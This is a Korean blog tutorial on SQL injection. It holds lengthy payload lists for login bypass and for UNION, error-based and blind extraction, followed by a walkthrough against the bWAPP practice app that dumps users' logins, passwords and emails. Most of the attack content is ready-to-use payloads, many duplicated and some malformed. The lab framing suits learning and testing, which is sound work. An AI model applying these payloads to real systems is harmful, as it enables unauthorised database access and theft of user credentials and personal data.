SQL INJECTION 이란?
SQL 언어 injection 주입하다
SQL 인젝션은 데이터베이스에 취약한 부분을 노려 회원에 아이디 패스워드를
알아내거나 관리자 계정을 우회할수 있는 걸 SQL INJECTION 이라고 한다.
이렇게 데이터베이스가 멍청하면 생기는 일이다.
직접 해커가 데이터베이스한테 명령을 내려
ID 는 admin 인데 비닐번호는 password 야 어디있는지 알아?
정상인 데이터베이스는 입구컷하지만
멍청한 데이터베이스는 그대로 admin 사용자를 찾아 그대로 내준다
SQL INEJCTION 기법들
1. 구문우회 기법
1. ' OR '1'='1--
2. ' OR '1'='1' --
3. ' OR '1'='1'/*
4. ' OR 1=1--
5. ' OR 1=1#
6. ' OR 1=1--
7. ' OR 1=1/*
8. ' OR 1=1/*
9. ' OR 1=1'--
10. ' OR 1=1'#
11. ' OR 1=1'/*
12. ' OR 1=1--
13. ' OR 1=1#
14. ' OR 'x'='x--
15. ' OR 'x'='x'--
16. ' OR 'x'='x'/*
17. ' OR 'x'='x'#
18. ' OR 'a'='a--
19. ' OR 'a'='a'--
20. ' OR 'a'='a'/*
21. ' OR 'a'='a'#
22. ' OR 'admin'='admin--
23. ' OR 'admin'='admin'--
24. ' OR 'admin'='admin'/*
25. ' OR 'admin'='admin'#
26. ' OR 1=1--
27. ' OR 1=1#
28. ' OR 1=1/*
29. ' OR 1=1'--
30. ' OR 1=1'# -
31. ' OR 1=1'/*
32. ' OR 1=2--
33. ' OR 1=2#
34. ' OR 1=2/*
35. ' OR '1'='1'--
36. ' OR '1'='1'/*
37. ' OR '1'='1'#
38. ' OR '1'='1'--
39. ' OR '1'='1'#
40. ' OR '1'='1'/*
41. ' OR '1'='2--
42. ' OR '1'='2'--
43. ' OR '1'='2'/*
44. ' OR '1'='2'#
45. ' OR '1'='3--
46. ' OR '1'='3'--
47. ' OR '1'='3'/*
48. ' OR '1'='3'#
49. ' OR 'a'='a'--
50. ' OR 'a'='a'/*
2. UNION 기법
1. ' UNION SELECT null, null--
2. ' UNION SELECT 1, 2--
3. ' UNION SELECT NULL, 'admin'--
4. ' UNION SELECT table_name, NULL FROM information_schema.tables--
5. ' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
6. ' UNION SELECT @@version, NULL--
7. ' UNION SELECT user(), NULL--
8. ' UNION SELECT database(), NULL--
9. ' UNION SELECT 'admin', NULL--
10. ' UNION SELECT username, password FROM users WHERE username='admin'--
11. ' UNION SELECT name, email FROM contacts WHERE username='admin'--
3. ERROR BASED 기법
1. ' OR 1=CONVERT(int, 'a')--
2. ' OR 1=CONVERT(int, (SELECT @@version))--
3. ' OR 1=CONVERT(int, (SELECT table_name FROM information_schema.tables LIMIT 1))--
4. ' OR 1=CONVERT(int, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1))--
5. ' OR 1=CONVERT(int, (SELECT user()))--
6. ' OR 1=CONVERT(int, (SELECT database()))--
7. ' OR 1=CONVERT(int, 'admin')--
8. ' OR 1=CONVERT(int, (SELECT 'admin'))--
9. ' OR 1=CONVERT(int, (SELECT @@version_comment))--
10. ' OR 1=CONVERT(int, (SELECT table_schema FROM information_schema.schemata LIMIT 1))--
11. ' OR 1=CONVERT(int, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables))--
12. ' OR 1=CONVERT(int, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'))--
13. ' OR 1=CONVERT(int, (SELECT ascii(substring(@@version, 1, 1))))--
14. ' OR 1=CONVERT(int, (SELECT COUNT(*) FROM information_schema.tables))--
15. ' OR 1=CONVERT(int, (SELECT MIN(user_id) FROM users))--
16. ' OR 1=CONVERT(int, (SELECT SUBSTRING(user(), 1, 1)))--
17. ' OR 1=CONVERT(int, (SELECT LENGTH(database())))--
18. ' OR 1=CONVERT(int, (SELECT version()))--
19. ' OR 1=CONVERT(int, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1))--
20. ' OR 1=CONVERT(int, (SELECT column_name FROM information_schema.columns WHERE table_name='users' AND column_name='username' LIMIT 1))--
21. ' OR 1=CONVERT(int, (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users'))--
22. ' OR 1=CONVERT(int, (SELECT CONCAT('user:', user()))--
23. ' OR 1=CONVERT(int, (SELECT GROUP_CONCAT(table_schema) FROM information_schema.schemata))--
24. ' OR 1=CONVERT(int, (SELECT MAX(user_id) FROM users))--
25. ' OR 1=CONVERT(int, (SELECT MIN(user_id) FROM users WHERE username='admin'))--
26. ' OR 1=CONVERT(int, (SELECT CHAR_LENGTH(user())))--
27. ' OR 1=CONVERT(int, (SELECT LENGTH(user())))--
28. ' OR 1=CONVERT(int, (SELECT COUNT(*) FROM users WHERE username='admin'))--
29. ' OR 1=CONVERT(int, (SELECT GROUP_CONCAT(username) FROM users))--
30. ' OR 1=CONVERT(int, (SELECT ascii(substring((SELECT username FROM users WHERE username='admin'), 1, 1))))--
4. 블라인드 참구문 기법
1. ' OR 1=1--
2. ' OR 'a'='a--
3. ' OR 2>1--
4. ' OR 1=1/*
5. ' OR 'admin'='admin'--
6. ' OR 1=1'/*
7. ' OR 'a'='a'--
8. ' OR 'x'='x'--
9. ' OR EXISTS (SELECT * FROM users)--
10. ' OR LENGTH(user()) > 0--
11. ' OR 1=1--
12. ' OR 1=1/*
13. ' OR 1=2 OR 1=1--
14. ' OR (SELECT COUNT(*) FROM users) > 0--
15. ' OR (SELECT SUBSTRING(@@version, 1, 1)='5')--
16. ' OR (SELECT ASCII(SUBSTRING(@@version, 1, 1)) > 49)--
17. ' OR (SELECT IF(1=1, 1, 0))--
18. ' OR (SELECT 1 FROM dual)--
19. ' OR (SELECT IF(1=1, SLEEP(5), 0))--
20. ' OR (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END) > 0--
21. ' OR (SELECT 1 WHERE 1=1)--
22. ' OR (SELECT 1 UNION SELECT 1)--
23. ' OR (SELECT COUNT(*) FROM information_schema.tables) > 0--
24. ' OR (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables) IS NOT NULL--
25. ' OR (SELECT user()) = 'admin'--
5. 블라인드 거짓 구문 기법
1. ' OR 1=2--
2. ' OR 'a'='b--
3. ' OR 2<1--
4. ' OR 1=2/*
5. ' OR 'admin'='user'--
6. ' OR 1=2'/*
7. ' OR 'a'='b'--
8. ' OR 'x'='y'--
9. ' OR NOT EXISTS (SELECT * FROM users)--
10. ' OR LENGTH(user()) < 1--
11. ' OR 1=0--
12. ' OR 1=0/*
13. ' OR 1=2 OR 1=0--
14. ' OR (SELECT COUNT(*) FROM users) = 0--
15. ' OR (SELECT SUBSTRING(@@version, 1, 1)='6')--
16. ' OR (SELECT ASCII(SUBSTRING(@@version, 1, 1)) < 49)--
17. ' OR (SELECT IF(1=0, 1, 0))--
18. ' OR (SELECT 1 FROM dual WHERE 1=0)--
19. ' OR (SELECT IF(1=0, SLEEP(5), 0))--
20. ' OR (SELECT CASE WHEN (1=0) THEN 1 ELSE 0 END) = 0--
21. ' OR (SELECT 1 WHERE 1=0)--
22. ' OR (SELECT 1 UNION SELECT 2)--
23. ' OR (SELECT COUNT(*) FROM information_schema.tables) = 0--
24. ' OR (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables) IS NULL--
25. ' OR (SELECT user()) = 'guest'--
BWAPP SQL Injection (GET/Search) 실습
영화 검색하는 페이지인거 같다.
우리의 목적은 모든 영화자료를 출력하는건데
해당 데이터베이스는 MySQL 를 사용하고 있다.
페이로드는 다음과 같이 작성
' OR 1=1#
이런식으로 모든 영화를 출력을 했다
이제 우리의 목표는 데이터베이스를 모두 알아내
ID 와 PASSWORD 를 알아내는것이다.
다음과 같이 페이로드 작성
' UNION SELECT 1,2,3,4,5,6,7#
현재 데이터베이스 컬럼은 7개 라는걸 알수있다
이제 데이터베이스의 이름을 출력할것이다.
sql 인젝션 시그마 테이블을 쓸것이며 다음과 같이 페이로드를 작성.
' UNION SELECT all 1,table_name,3,4,5,6,7 from information_schema.tables#
해당 쿼리를 조작하여 모든 테이블을 추출 하였다.
맨 밑 user 이라는게 보인다.
user 테이블에서 회원에 id , password 를 추출할것이다
' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
( 이 페이로드는 users 테이블에서 어떠한 데이터베이스가 있는지 확인하는 구문이다. )
id , login , password , email
우린 이것을 가지고 회원정보를 알아낼것이다 이제.
' UNION SELECT ALL 1,concat(id,login),password,email,secret,6,7 from users#
회원에 email 정보가 추출된걸 볼수있다.
사람이 멍청하면 비밀을 누설하는거와 같이
데이터베이스도 멍청하면 중요한 정보를 누설하는거랑 똑같다.
다음엔 버프스위트로 돌아오겠습니다
'모의해킹 | Ethical Hacking' 카테고리의 다른 글
KALI LINUX | 윈도우 10 모의해킹 Reverse_tcp (0) | 2024.09.03 |
---|---|
NoSQL 인젝션 [실습] [버프스위트] [Detecting NoSQL injection] (0) | 2024.08.18 |
IFRAME INJECTION [실습] [BWAPP] [웹해킹] (0) | 2024.08.13 |
XSS CROSS SITE SCRIPTING [실습] [세션쿠키탈취] [DVWA] [DEFACE공격] (0) | 2024.08.11 |
HTML INJECTION [실습] [BWAPP] (0) | 2024.08.10 |